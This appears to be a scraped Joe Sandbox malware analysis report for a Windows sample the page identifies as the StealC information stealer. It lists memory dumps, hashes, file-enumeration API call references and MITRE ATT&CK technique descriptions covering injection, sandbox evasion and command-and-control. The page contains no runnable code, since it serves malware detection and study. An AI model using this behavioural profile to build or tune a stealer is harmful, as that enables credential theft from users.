Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: ee82340b7262c732c8d2041f02bf154cc95d6a490564fbb06772ab638b841937
Instruction ID: 3f9ca720bb0b02eb09f16891c69be23159009ba61f7db26fc7fe968800174589
Opcode Fuzzy Hash: ee82340b7262c732c8d2041f02bf154cc95d6a490564fbb06772ab638b841937
Instruction Fuzzy Hash: 17F04432905A149AEB25BBAC9807F5A33B0FB00724F21424EF418EA2D2CF74D9409A5B

Function 008C4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008C8E0B

lstrcat.KERNEL32(?,00000000), ref: 008C4F7A
lstrcat.KERNEL32(?,008D1070), ref: 008C4F97
lstrcat.KERNEL32(?,007B8938), ref: 008C4FAB
lstrcat.KERNEL32(?,008D1074), ref: 008C4FBD

Part of subcall function 008C4910: wsprintfA.USER32 ref: 008C492C
Part of subcall function 008C4910: FindFirstFileA.KERNEL32(?,?), ref: 008C4943

Part of subcall function 008C4910: StrCmpCA.SHLWAPI(?,008D0FDC), ref: 008C4971
Part of subcall function 008C4910: StrCmpCA.SHLWAPI(?,008D0FE0), ref: 008C4987
Part of subcall function 008C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 008C4B7D
Part of subcall function 008C4910: FindClose.KERNEL32(000000FF), ref: 008C4B92

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 17efd5296e5d69fa4e7700dc3bd94ab1a55f340b3cef20972e622509549017a3
Instruction ID: bee18184bd9752c1fa87522528d7a1c5d330ab2372e57fde17f8d4a8bb606c34
Opcode Fuzzy Hash: 17efd5296e5d69fa4e7700dc3bd94ab1a55f340b3cef20972e622509549017a3
Instruction Fuzzy Hash: 7A2195B6900208A7CB54F7E4DC46FE9333CFB64340F004558B65AD6281EE74AAC9CBA3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 008C9860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Function 008B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 008B4880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Function 008C9C10 Relevance: 233.4, APIs: 112, Strings: 21, Instructions: 684
libraryloaderCOMMON

Function 008B6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Function 008C5510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 008C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 008C7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 008C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 008B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 008C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 008B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 008C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON